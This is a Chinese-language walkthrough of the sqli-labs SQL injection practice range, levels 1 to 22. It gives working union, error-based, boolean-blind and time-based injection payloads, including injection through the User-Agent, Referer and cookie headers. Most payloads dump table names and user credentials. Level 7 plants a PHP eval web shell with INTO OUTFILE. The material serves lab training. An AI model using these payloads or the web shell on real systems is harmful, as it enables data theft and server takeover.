sql-libs靶场Page-1(1-22)教程
1. Less-1
我们先进入靶场,根据提示构造一下id,然后正式开始渗透
我们先用数字型找一下注入点
1 and 1=2
这里数据返回正常,但是我们的这个代码应该是返回错误的数据,说明构造的不对,再用字符串型找一下
1' and 1=1 --
看到这儿之后就简单了,就是个简单的字符型注入,之后就是常规操作了。
先拿脚本order by一下,脚本就是个简单的爬虫,利用了order by的特性。当然你要想一个一个试也行
1' order by 3 --
跑出来字段数是3
然后再联合注入一下,我们构造一下url
得到URL
我们直接访问这个URL,然后看一下这个url的效果
可以看到,第二个和第三个字段是显示的。
然后就是正常的替换了,把我们要显示的内容替换到2或者3的位置上。
1 | -1' union select 1,database(),3 -- |
上面的代码就是说让数据库名称显示在2的位置上。
注意这里是-1,如果是1的话,会显示原来网页上的内容。
这样为我们就得到了表和字段,接下来查看字段数据就行了,这个就简单了。
1 | -1' union select 1, group_concat(username), 3 from users -- |
上面代码的意思是让username中的数据全部显示在2的位置上。
这样就得到了users表的username字段了,同理就可以得到password字段内容。
2. Less-2
先找注入点
1 | 1 and 1=2 |
发现1=2无数据,1=1有数据,可以确定是个简单的数字型注入。
先order by一下
1 order by 3
获取当前字段数为3,然后开始联合注入
得到URL
1 | -1 union select 1, 2, 3 |
访问这个URL,看显错位(就是显示啥数字)
我们找到了显错位,之后就是和Less-1一样了。直接联合注入就行。
3. Less-3
这个的注入点不是怎么太常规,正常的字符型和数字型都不太可以,那就随便试一下
1 | 1) and 1=2 |
不应该显示数据但却显示了,说明找错了,试试字符串型
1 | 1') and 1=1 -- |
发现1=1时数据返回正常,1=2时无数据,找到注入点,然后就是和之前两个一样了,order by,找显错,改字段,和上面基本一样没啥好说的。
1') order by 3 --
-1') union select 1,2,3 --
4. Less-4
试一下注入点
找到是双引号加括号
1 | 1") and 1=1 -- |
你可能会问我怎么试的,就是随便试的,做多了就有经验……
然后还是一样了,联合注入
1") order by 3 --
-1") union select 1,2,3 --
5. Less-5
试了一下,是一个简单的字符串注入
1' and 1=2 --
但是它好像不能用联合注入。那我们就得用其他的方法了。
发现这道题存在报错,所以可以用报错注入
先试字段数
1' order by 3 --
确定字段数为3
然后开始盲注了
1 | 1' and updatexml(1,concat('~',(select database())),1) -- |
这样就得到了数据库的名称。
然后我们把database()换成其他的函数,就可以得到其他的数据
这里数据路径和数据库的安装路径是报错不出来的
然后就是“愉快”的爆表环节
1 | 1' and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema = 'security')),1) -- |
这样就得到了security库下的所有表
然后从该表下得到所有的字段
1 | 1' and updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users')),1) -- |
获取security库下的users表中的所有字段。
得到字段,下面就简单了。
1' and updatexml(1,concat('~',(select group_concat(username) from users)),1) --
但是这里数据显示不全,用limlt函数一个一个显示就行了。
1 | 1' and updatexml(1,concat('~',(select username from users limit 0,1)),1) -- |
6. Less-6
这关不怎么好看,我这里给一个建议
我们直接id=9999999,一个特别大的数,肯定是不会返回数据的,这时候再用or去试
然后这里试出来试这样的
1 | 1000" or 1=1 -- |
然后这道题还有报错。
又是字符串型的报错注入,和上面一样,把单引号变成双引号就行了。
1 | 1" and updatexml(1,concat('~',(select database())),1) -- |
7. Less-7
这个试注入点会有点难受
1 | 1')) and 1=1 -- |
它这个试是单引号加两个括号,不怎么容易试。
然后我们发现order by 能用,但是下一步就有点不太好使了,这还有点像盲注,但是报错注入要是去试的话还不好使,时间盲注也不太像。
我们这里用到了into outfile来实现一个叫“写马”的操作。
先准备一个木马,我这里用了一个经典的PHP木马
1 | eval($_POST[123]); // 这个123就是一会儿的密码 @ |
SQL注入上传文件的话,需要权限,我们去MySQL设置一下。
在mysql配置文件中添加:secure_file_priv=
然后就可以上传文件了
注意这个上传路径,我们后面是要访问的,所以要放到网站文件夹底下。
1 | http://localhost/sql-libs/Less-7/?id=1')) union select 1,2,'eval($_POST[123]); @' into outfile 'D:\\SoftWare\\phpstudy_pro\\WWW\\sql-libs\\Less-7\\Less7.php' -- |
但是我这里出了问题,死活传不上……,改URL目录,加减反斜杠,设置文件权限,但是还是不行。
8. Less-8
很容易找到注入点
1 | 1'and 1=1 -- |
但是发现了一个问题:语句错误无显示;语句正确一直显示相同内容,
这就是用到布尔盲注了
1' order by 3 --
先找字段数,跑出来是3
然后开始猜内容了。
先猜数据库长度
1 | 1' and length(database())=8 -- |
然后猜数据库的名称
1 | 1' and ascii(substr(database(),8,1))=121 -- |
这样得到了数据库的名字,但是这个过程,额,会浪费亿点点时间。
获取有几张表
1' and (select count(table_name) from information_schema.tables where table_schema=database
获取每张表的长度
1' and length((select table_name from information_schema.tables where table_schema='security' limit 1,1)) = 6 --
获取每张表的名字
1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101 --
我们得到了一张users表,我们现在猜users表中有几个字段
1' and (select count(column_name) from information_schema.columns where table_schema='security' and table_name='users')=3 --
然后获取每个字段的长度、
1' and length((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1))=2 --
获取每个字段的名称
1' and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))=105 --
我们这样就可以得到字段名,然后就能得到字段数据了
1' and ascii(substr((select concat(username,'@',password) from users limit 0,1),1,1))=68 --
9. Less-9
这个在找注入点的时候,发现怎么弄返回结果都不变,感觉是需要时间盲注。
发现正常的访问时间差为近2s,但是此时是3s多,这是一个字符串型注入。
时间盲注和布尔注入差不多,就是加了个时间
1 | 1' and (ascii(substr(database(),1,1))=121 and sleep(1) -- |
10. Less-10
无论怎么弄结果都不变,怀疑还是用时间盲注
找到注入点是双引号注入。
和上道题几乎一摸一样。
1 | 1" and (ascii(substr(database(),1,1))=121 and sleep(1) -- |
11. Less-11
这道题长得不太一样,是一个登录界面
我们简单试一下。
账号密码输入123456
嗯,不行,上burp
我们先截一下包
我们注入一下
然后放行
发现漏洞。
我们正常注入一下
注意这里是用 # 表示注释
放行
可以的登录,确认是字符串型注入。
然后就可以通过这种方式得到不同的数据
order by 3返回数据失败,order by 2成功返回数据,字段数为2
然后开始搞数据
1 | uname=ad' union select user(),database()#&passwd=admin&submit=Submit |
这俩都是显错位,得到数据库和用户信息,剩下的直接搞就行了。
查看security库下的所有表
1 | uname=1' union select (select group_concat(table_name) from information_schema.tables where table_schema='security'),1 |
查看users表下的所有字段
1 | uname=ad' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users')#&passwd=admin&submit=Submit |
查看username和password字段的值
1 | uname=ad' union select 1,(select group_concat(username,password) from security.users)#&passwd=admin&submit=Submit |
12. Less-12
和上一道题一样的过程,就是注入点变了一下。
1 | 123") or 1=1 # |
其他和上一道题一样
13. Less-13
好像也一样,找注入点
1 | 1') or 1=1 # |
但是上面的套路好像不太好使,试了几次,感觉是报错注入
1 | uname=1') and updatexml(1,(concat('~',(select database()))),1)# |
这样就得到了数据库名称
剩下的和常规报错注入一样了,我这里就展示一个爆破表的代码,剩下的自己试试。
1 | uname=1') and updatexml(1,(concat('~',(select group_concat(table_name) from information_schema.tables where table_schema = 'security'))),1) |
14. Less-14
和13题一样,就是把单引号换为双引号,无需闭合括号。
1 | 1" or 1=1 # |
其他的和13题一样。
15. Less-15
找注入点
1 | 1' or 1=1# |
在order by 的时候发现这玩意不变了,又是盲注。
1 | uname=1' or length(database())=8 and sleep(0.1) #p |
16. Less-16
注入点
1 | 1") or 1=1 # |
试了一下,还是时间盲注,和上一道题一样。
17. Less-17
这道题有一个已知条件账号是admin,要不然做不出来。
映入眼帘的是一个[PASSWORD RESET]
这里要注意一下,这个是密码重置,要注入的是密码。
密码重置,创建,修改,这些都是针对数据库的增删操作,我们用的是update函数,所以我们也要用这个。
那这就简单了,报错注入嘛,先找注入点。
1 | 1' or 1=1 # |
然后在密码处注入就行了.
passwd=1' and updatexml(1,concat('~',(select database())),1) #
18. Less-18
这道题的前提是知道账号和密码,要不然做不出来
账号:Dumb,密码:Dumb
我们登录一下,发现有个这个东西
返回了一个UA信息,那么我们应该就是要修改UA来进行注入了。
这里有报错信息,说明可以用报错注入。
找到注入点
1 | ' # |
就是一个简简单单的单字符注入。
这里注意一下,要确定一下字段
现在是两个字段,说少字段,那就再加
三个字段刚好。
1 | UA设置为: |
其他的和报错注入一样。
19. Less-19
和18题一样,登录之后显示refer
把代码放到refer里头就行了
这里注意,字段数是2
其他的没啥,套脚本就行。
20. Less-20
这道题登录进去一堆乱七八糟的
这里是我们登录进去,出现的这些内容。
所以说出现这个界面的前提是cookie内容正确,那我们在这个页面改一下cookie会怎么样。
order by 3 没问题,order by 4出现报错,字段数为3
然后就简单了,报错注入就行了。
剩下的和之前一样。
21. Less-21
登录进去感觉好像和上一道题一样。
我们抓一下包
哎,这个cookie
加密了一次,这应该是base64加密,我们解一下试试
我们现在的思路就是,把SQL语句加密一次,然后再传参。
注入方式是单引号括号注入
1 | 1') # |
我们找字段数
这样得到加密数据
得到显错位,然后就简单了,联合注入就行了。
22. Less-22
和上一道一样,单引号变双引号就行了。